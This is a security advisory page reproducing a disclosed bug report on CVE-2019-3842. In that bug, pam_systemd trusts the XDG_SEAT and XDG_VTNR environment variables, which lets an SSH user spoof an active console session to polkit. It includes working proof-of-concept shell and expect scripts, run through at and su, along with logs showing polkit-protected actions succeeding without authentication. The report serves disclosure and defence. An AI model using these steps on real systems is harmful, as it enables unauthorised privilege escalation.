Lucene search
K

systemd Seat Verification Active Session Spoofing

🗓️ 23 Apr 2019 00:00:00Reported by Jann HornType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 106 Views

systemd seat verification loophole permits active session spoofing to polkit, related to CVE-2019-3842

Related
Code
`systemd: lack of seat verification in PAM module permits spoofing active session to polkit   
  
Related CVE Numbers: CVE-2019-3842.  
  
  
[I am sending this bug report to Ubuntu as requested by systemd at  
<https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports>.]  
  
As documented at  
<https://www.freedesktop.org/software/polkit/docs/latest/polkit.8.html>, for  
any action, a polkit policy can specify separate levels of required  
authentication based on whether a client is:  
  
- in an active session on a local console  
- in an inactive session on a local console  
- or neither  
  
This is expressed in the policy using the elements \"allow_any\",  
\"allow_inactive\" and \"allow_active\". Very roughly speaking, the idea here is  
to give special privileges to processes owned by users that are sitting  
physically in front of the machine (or at least, a keyboard and a screen that  
are connected to a machine), and restrict processes that e.g. belong to users  
that are ssh'ing into a machine.  
  
For example, the ability to refresh the system's package index is restricted  
this way using a policy in  
/usr/share/polkit-1/actions/org.freedesktop.packagekit.policy:  
  
<action id=\"org.freedesktop.packagekit.system-sources-refresh\">  
[...]  
<description>Refresh system repositories</description>  
[...]  
<message>Authentication is required to refresh the system repositories</message>  
[...]  
<defaults>  
<allow_any>auth_admin</allow_any>  
<allow_inactive>auth_admin</allow_inactive>  
<allow_active>yes</allow_active>  
</defaults>  
</action>  
  
  
On systems that use systemd-logind, polkit determines whether a session is  
associated with a local console by checking whether systemd-logind is tracking  
the session as being associated with a \"seat\". This happens through  
polkit_backend_session_monitor_is_session_local() in  
polkitbackendsessionmonitor-systemd.c, which calls sd_session_get_seat().  
The check whether a session is active works similarly.  
  
systemd-logind is informed about the creation of new sessions by the PAM  
module pam_systemd through a systemd message bus call from  
pam_sm_open_session() to method_create_session(). The RPC method trusts the  
information supplied to it, apart from some consistency checks; that is not  
directly a problem, since this RPC method can only be invoked by root.  
This means that the PAM module needs to ensure that it doesn't pass incorrect  
data to systemd-logind.  
  
Looking at the code in the PAM module, however, you can see that the seat name  
of the session and the virtual terminal number come from environment  
variables:  
  
seat = getenv_harder(handle, \"XDG_SEAT\", NULL);  
cvtnr = getenv_harder(handle, \"XDG_VTNR\", NULL);  
type = getenv_harder(handle, \"XDG_SESSION_TYPE\", type_pam);  
class = getenv_harder(handle, \"XDG_SESSION_CLASS\", class_pam);  
desktop = getenv_harder(handle, \"XDG_SESSION_DESKTOP\", desktop_pam);  
  
This is actually documented at  
<https://www.freedesktop.org/software/systemd/man/pam_systemd.html#Environment>.  
  
After some fixup logic that is irrelevant here, this data is then passed to  
the RPC method.  
  
  
One quirk of this issue is that a new session is only created if the calling  
process is not already part of a session (based on the cgroups it is in,  
parsed from procfs). This means that an attacker can't simply ssh into a  
machine, set some environment variables, and then invoke a setuid binary that  
uses PAM (such as \"su\") because ssh already triggers creation of a session via  
PAM. But as it turns out, the systemd PAM module is only invoked for  
interactive sessions:  
  
# cat /usr/share/pam-configs/systemd  
Name: Register user sessions in the systemd control group hierarchy  
Default: yes  
Priority: 0  
Session-Interactive-Only: yes  
Session-Type: Additional  
Session:  
optional pam_systemd.so  
  
So, under the following assumptions:  
  
- we can run commands on the remote machine, e.g. via SSH  
- our account can be used with \"su\" (it has a password and isn't disabled)  
- the machine has no X server running and is currently displaying tty1, with  
a login prompt  
  
we can have our actions checked against the \"allow_active\" policies instead of  
the \"allow_any\" policies as follows:  
  
- SSH into the machine  
- use \"at\" to schedule a job in one minute that does the following:  
* wipe the environment  
* set XDG_SEAT=seat0 and XDG_VTNR=1  
* use \"expect\" to run \"su -c {...} {our_username}\" and enter our user's  
password  
* in the shell invoked by \"su\", perform the action we want to run under the  
\"allow_active\" policy  
  
  
I tested this in a Debian 10 VM, as follows (\"{{{...}}}\" have been replaced),  
after ensuring that no sessions are active and the VM's screen is showing the  
login prompt on tty1; all following commands are executed over SSH:  
  
  
=====================================================================  
normal_user@deb10:~$ cat session_outer.sh   
#!/bin/sh  
echo \"===== OUTER TESTING PKCON\" >/tmp/atjob.log  
pkcon refresh -p </dev/null >>/tmp/atjob.log  
env -i /home/normal_user/session_middle.sh  
normal_user@deb10:~$ cat session_middle.sh   
#!/bin/sh  
export XDG_SEAT=seat0  
export XDG_VTNR=1  
  
echo \"===== ENV DUMP =====\" > /tmp/atjob.log  
env >> /tmp/atjob.log  
  
echo \"===== SESSION_OUTER =====\" >> /tmp/atjob.log  
cat /proc/self/cgroup >> /tmp/atjob.log  
  
echo \"===== OUTER LOGIN STATE =====\" >> /tmp/atjob.log  
loginctl --no-ask-password >> /tmp/atjob.log  
  
echo \"===== MIDDLE TESTING PKCON\" >>/tmp/atjob.log  
pkcon refresh -p </dev/null >>/tmp/atjob.log  
  
/home/normal_user/runsu.expect  
  
echo \"=========================\" >> /tmp/atjob.log  
normal_user@deb10:~$ cat runsu.expect   
#!/usr/bin/expect  
spawn /bin/su -c \"/home/normal_user/session_inner.sh\" normal_user  
expect \"Password: \"  
send \"{{{PASSWORD}}}\  
\"  
expect eof  
  
normal_user@deb10:~$ cat session_inner.sh   
#!/bin/sh  
echo \"===== INNER LOGIN STATE =====\" >> /tmp/atjob.log  
loginctl --no-ask-password >> /tmp/atjob.log  
  
echo \"===== SESSION_INNER =====\" >> /tmp/atjob.log  
cat /proc/self/cgroup >> /tmp/atjob.log  
  
echo \"===== INNER TESTING PKCON\" >>/tmp/atjob.log  
pkcon refresh -p </dev/null >>/tmp/atjob.log  
  
normal_user@deb10:~$ loginctl  
SESSION UID USER SEAT TTY   
7 1001 normal_user pts/0  
  
1 sessions listed.  
normal_user@deb10:~$ pkcon refresh -p </dev/null  
Transaction:\tRefreshing cache  
Status: \tWaiting in queue  
Status: \tWaiting for authentication  
Status: \tFinished  
Results:  
Fatal error: Failed to obtain authentication.  
normal_user@deb10:~$ at -f /home/normal_user/session_outer.sh {{{TIME}}}  
warning: commands will be executed using /bin/sh  
job 25 at {{{TIME}}}  
{{{ wait here until specified time has been reached, plus time for the job to finish running}}}  
normal_user@deb10:~$ cat /tmp/atjob.log   
===== ENV DUMP =====  
XDG_SEAT=seat0  
XDG_VTNR=1  
PWD=/home/normal_user  
===== SESSION_OUTER =====  
10:memory:/system.slice/atd.service  
9:freezer:/  
8:pids:/system.slice/atd.service  
7:perf_event:/  
6:devices:/system.slice/atd.service  
5:net_cls,net_prio:/  
4:cpuset:/  
3:blkio:/  
2:cpu,cpuacct:/  
1:name=systemd:/system.slice/atd.service  
0::/system.slice/atd.service  
===== OUTER LOGIN STATE =====  
SESSION UID USER SEAT TTY   
7 1001 normal_user pts/0  
  
1 sessions listed.  
===== MIDDLE TESTING PKCON  
Transaction:\tRefreshing cache  
Status: \tWaiting in queue  
Status: \tWaiting for authentication  
Status: \tFinished  
Results:  
Fatal error: Failed to obtain authentication.  
===== INNER LOGIN STATE =====  
SESSION UID USER SEAT TTY   
18 1001 normal_user seat0 pts/1  
7 1001 normal_user pts/0  
  
2 sessions listed.  
===== SESSION_INNER =====  
10:memory:/user.slice/user-1001.slice/session-18.scope  
9:freezer:/  
8:pids:/user.slice/user-1001.slice/session-18.scope  
7:perf_event:/  
6:devices:/user.slice  
5:net_cls,net_prio:/  
4:cpuset:/  
3:blkio:/  
2:cpu,cpuacct:/  
1:name=systemd:/user.slice/user-1001.slice/session-18.scope  
0::/user.slice/user-1001.slice/session-18.scope  
===== INNER TESTING PKCON  
Transaction:\tRefreshing cache  
Status: \tWaiting in queue  
Status: \tWaiting for authentication  
Status: \tWaiting in queue  
Status: \tStarting  
Status: \tLoading cache  
Percentage:\t0  
Percentage:\t50  
Percentage:\t100  
Percentage:\t0  
Percentage:\t50  
Percentage:\t100  
Status: \tRefreshing software list  
Status: \tDownloading packages  
Percentage:\t0  
Status: \tRunning  
Status: \tLoading cache  
Percentage:\t100  
Status: \tFinished  
Results:  
Enabled http://ftp.ch.debian.org/debian buster InRelease  
Enabled http://security.debian.org/debian-security buster/updates InRelease  
Enabled http://debug.mirrors.debian.org/debian-debug buster-debug InRelease  
=========================  
You have new mail in /var/mail/normal_user  
normal_user@deb10:~$   
=====================================================================  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
Found by: [email protected]  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Apr 2019 00:00Current
6.4Medium risk
Vulners AI Score6.4
EPSS0.00098
106